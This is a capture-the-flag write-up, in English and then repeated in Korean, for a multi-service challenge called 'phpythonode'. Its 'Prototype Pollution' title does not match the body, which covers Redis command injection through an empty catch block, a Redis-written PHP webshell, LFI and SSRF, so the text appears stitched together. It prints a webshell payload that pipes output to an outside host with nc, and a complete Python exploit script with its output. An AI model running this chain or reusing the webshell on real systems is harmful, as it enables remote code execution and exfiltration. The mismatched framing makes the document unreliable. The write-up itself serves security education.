Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
phpythonode packs three web stacks into one container, plus a Redis instance and a setuid readflag helper.
Node / Express :3000 (exposed) Redis-backed sessions, a /show_logs endpoint
Python / Flask :8000 (exposed) an /img_viewer SSRF
PHP / Apache :80 (internal) index.php with a LFI-style include
Redis (internal, shared by Node)
/readflag setuid binary that prints the real flag
Only Node and Python face the outside. The real flag is only readable by running /readflag, and only the internal PHP service can be coaxed into executing code. So the win condition is a chain: reach Redis through Node, use Redis to plant a PHP webshell, reach PHP through Python’s SSRF, and have PHP run /readflag.
The Node API exposes /show_logs, which is meant to run a fixed GET against Redis:
app.get('/show_logs', function(req, res) {
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// swallowed
}
redis_client.send_command(log_query[0], log_query[1], /* ... */);
});
The intended use is ?log_query=get/log_info. But look at the error handling: if log_query is not a string, log_query.split('/') throws, and the empty catch swallows the exception. Whatever log_query was is passed straight into send_command.
Express parses bracketed query params into arrays and objects. By sending log_query[0] and log_query[1][...] as separate parameters, log_query arrives as an array with no .split method. The guard throws, is ignored, and we get arbitrary Redis command execution with full control over the command name and its arguments.
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
Redis persists its dataset to disk with SAVE, and it lets you choose where and what. That is the classic Redis-to-webshell primitive: point the RDB dump at the web-reachable filesystem, stuff a value with PHP, and save.
CONFIG SET dir /tmp
CONFIG SET dbfilename redis.php
SET test "<?php system('/readflag | nc <me>:5555'); ?>"
SAVE
Driven through the /show_logs injection, this writes /tmp/redis.php. The RDB file has binary header/footer noise around the value, but PHP simply ignores everything outside <?php ... ?>, so the payload still executes.
The PHP front controller includes a user-controlled page name:
// index.php
include $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
page=/tmp/redis makes it include('/tmp/redis.php'), our webshell. PHP is not exposed externally, but Python’s image viewer is a willing proxy:
@app.route('/img_viewer', methods=['POST'])
def img_viewer():
url = request.form.get('url', '')
data = requests.get(url, timeout=3).content # SSRF
img = base64.b64encode(data).decode('utf8')
return render_template('img_viewer.html', img=img)
It fetches any URL server-side and returns the response base64-encoded in the page. That is a perfect exfiltration channel: point it at the internal PHP, which includes our webshell, which runs /readflag, and read the flag back out of the base64 image blob.
requests.post("http://target:8000/img_viewer",
data={"url": "http://localhost:80/index.php?page=/tmp/redis"})
import requests
s = requests.Session()
node = "http://target:3000"
# 1) plant a PHP webshell through Redis, via the /show_logs injection
def redis(*args):
q = "&".join(f"log_query[1][{i}]={a}" for i, a in enumerate(args[1:]))
s.get(f"{node}/show_logs?log_query[0]={args[0]}&{q}")
redis("config", "set", "dir", "/tmp")
redis("config", "set", "dbfilename", "redis.php")
redis("set", "test", "<?php system('/readflag'); ?>")
redis("save")
# 2) SSRF from Python -> internal PHP -> include /tmp/redis.php -> runs /readflag
r = s.post("http://target:8000/img_viewer",
data={"url": "http://localhost:80/index.php?page=/tmp/redis"})
# 3) the flag comes back inside the base64 image blob
print(r.text)
Decoding the base64 image reveals the readflag output, id plus the flag:
uid=100(apache) gid=101(apache) groups=...,3333(www-data)
DH{REDACTED}
phpythonode is a great model of how multi-service architectures fail. No single service is exploitable on its own. Node only talks to Redis, PHP is not exposed, and Python “just fetches images.” The break comes from stitching their trust relationships together: an over-forgiving catch turns a fixed Redis query into command injection, Redis’s own persistence becomes a file-write primitive, and an SSRF is the bridge that lets an external attacker drive the internal PHP.
The most instructive bug is the smallest one, an empty catch block. It was meant to ignore malformed input, but instead it silently discarded the one check that constrained the Redis command.
phpythonode는 웹 스택 세 개를 컨테이너 하나에 몰아넣고, 거기에 Redis 인스턴스와 setuid readflag 헬퍼까지 얹은 문제입니다.
Node / Express :3000 (노출) Redis 기반 세션, /show_logs 엔드포인트
Python / Flask :8000 (노출) /img_viewer SSRF
PHP / Apache :80 (내부) index.php의 LFI성 include
Redis (내부, Node가 사용)
/readflag 진짜 플래그를 출력하는 setuid 바이너리
외부를 향하는 건 Node와 Python뿐입니다. 진짜 플래그는 /readflag를 실행해야만 읽을 수 있고, 코드 실행으로 유도할 수 있는 건 내부 PHP 서비스뿐이에요. 그래서 승리 조건은 체인입니다. Node를 통해 Redis에 도달하고, Redis로 PHP 웹셸을 심고, Python의 SSRF로 PHP에 도달해, PHP가 /readflag를 실행하게 만드는 거죠.
Node API의 /show_logs는 Redis에 고정된 GET을 실행하도록 되어 있습니다.
app.get('/show_logs', function(req, res) {
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// 삼켜짐
}
redis_client.send_command(log_query[0], log_query[1], /* ... */);
});
의도된 사용법은 ?log_query=get/log_info입니다. 그런데 에러 처리를 보세요. log_query가 문자열이 아니면 log_query.split('/')가 예외를 던지고, 빈 catch가 그 예외를 삼킵니다. log_query가 무엇이었든 그대로 send_command로 넘어가죠.
Express는 대괄호 표기의 쿼리 파라미터를 배열과 객체로 파싱합니다. log_query[0]과 log_query[1][...]을 별도 파라미터로 보내면, log_query는 .split 메서드가 없는 배열로 도착합니다. 가드가 예외를 던지고 무시되며, 결국 명령 이름과 인자를 완전히 통제하는 임의 Redis 명령 실행이 됩니다.
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
Redis는 SAVE로 데이터셋을 디스크에 저장하는데, 어디에 무엇을 저장할지 고를 수 있습니다. 이게 바로 고전적인 Redis->웹셸 기법이에요. RDB 덤프를 웹에서 접근 가능한 경로로 향하게 하고, 값에 PHP를 채워 넣은 뒤 저장하는 거죠.
CONFIG SET dir /tmp
CONFIG SET dbfilename redis.php
SET test "<?php system('/readflag | nc <me>:5555'); ?>"
SAVE
/show_logs 주입으로 이걸 돌리면 /tmp/redis.php가 써집니다. RDB 파일에는 값 주위로 바이너리 헤더, 푸터 노이즈가 붙지만, PHP는 <?php ... ?> 바깥의 모든 걸 그냥 무시하므로 페이로드는 그대로 실행됩니다.
PHP 프론트 컨트롤러는 사용자가 통제하는 페이지 이름을 include합니다.
// index.php
include $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
page=/tmp/redis면 include('/tmp/redis.php'), 즉 우리 웹셸이 됩니다. PHP는 외부에 노출되지 않았지만, Python의 이미지 뷰어가 기꺼이 프록시가 되어주죠.
@app.route('/img_viewer', methods=['POST'])
def img_viewer():
url = request.form.get('url', '')
data = requests.get(url, timeout=3).content # SSRF
img = base64.b64encode(data).decode('utf8')
return render_template('img_viewer.html', img=img)
임의의 URL을 서버 측에서 가져와 응답을 base64로 인코딩해 페이지에 실어줍니다. 완벽한 유출 채널이에요. 내부 PHP를 가리키면, PHP가 우리 웹셸을 include하고, 웹셸이 /readflag를 실행하며, 그 결과가 base64 이미지 blob 안에 담겨 돌아옵니다.
requests.post("http://target:8000/img_viewer",
data={"url": "http://localhost:80/index.php?page=/tmp/redis"})
import requests
s = requests.Session()
node = "http://target:3000"
# 1) /show_logs 주입으로 Redis를 통해 PHP 웹셸 심기
def redis(*args):
q = "&".join(f"log_query[1][{i}]={a}" for i, a in enumerate(args[1:]))
s.get(f"{node}/show_logs?log_query[0]={args[0]}&{q}")
redis("config", "set", "dir", "/tmp")
redis("config", "set", "dbfilename", "redis.php")
redis("set", "test", "<?php system('/readflag'); ?>")
redis("save")
# 2) Python SSRF -> 내부 PHP -> /tmp/redis.php include -> /readflag 실행
r = s.post("http://target:8000/img_viewer",
data={"url": "http://localhost:80/index.php?page=/tmp/redis"})
# 3) 플래그가 base64 이미지 blob 안에 담겨 돌아옴
print(r.text)
base64 이미지를 디코딩하면 readflag 출력, 즉 id와 플래그가 나옵니다.
uid=100(apache) gid=101(apache) groups=...,3333(www-data)
DH{REDACTED}
phpythonode는 다중 서비스 아키텍처가 무너지는 방식을 잘 보여주는 모델입니다. 단독으로 익스플로잇 가능한 서비스는 하나도 없어요. Node는 Redis하고만 대화하고, PHP는 노출되지 않았으며, Python은 “그냥 이미지를 가져올” 뿐이죠. 파훼는 이들의 신뢰 관계를 꿰매는 데서 나옵니다. 지나치게 관대한 catch가 고정된 Redis 쿼리를 명령 주입으로 바꾸고, Redis 자신의 영속성이 파일 쓰기 수단이 되며, SSRF가 외부 공격자를 내부 PHP로 이어주는 다리가 됩니다.
가장 교훈적인 버그는 가장 작은 것, 빈 catch 블록이에요. 잘못된 입력을 무시하려던 의도였지만, 실제로는 Redis 명령을 제약하던 유일한 검사를 조용히 버려버렸습니다.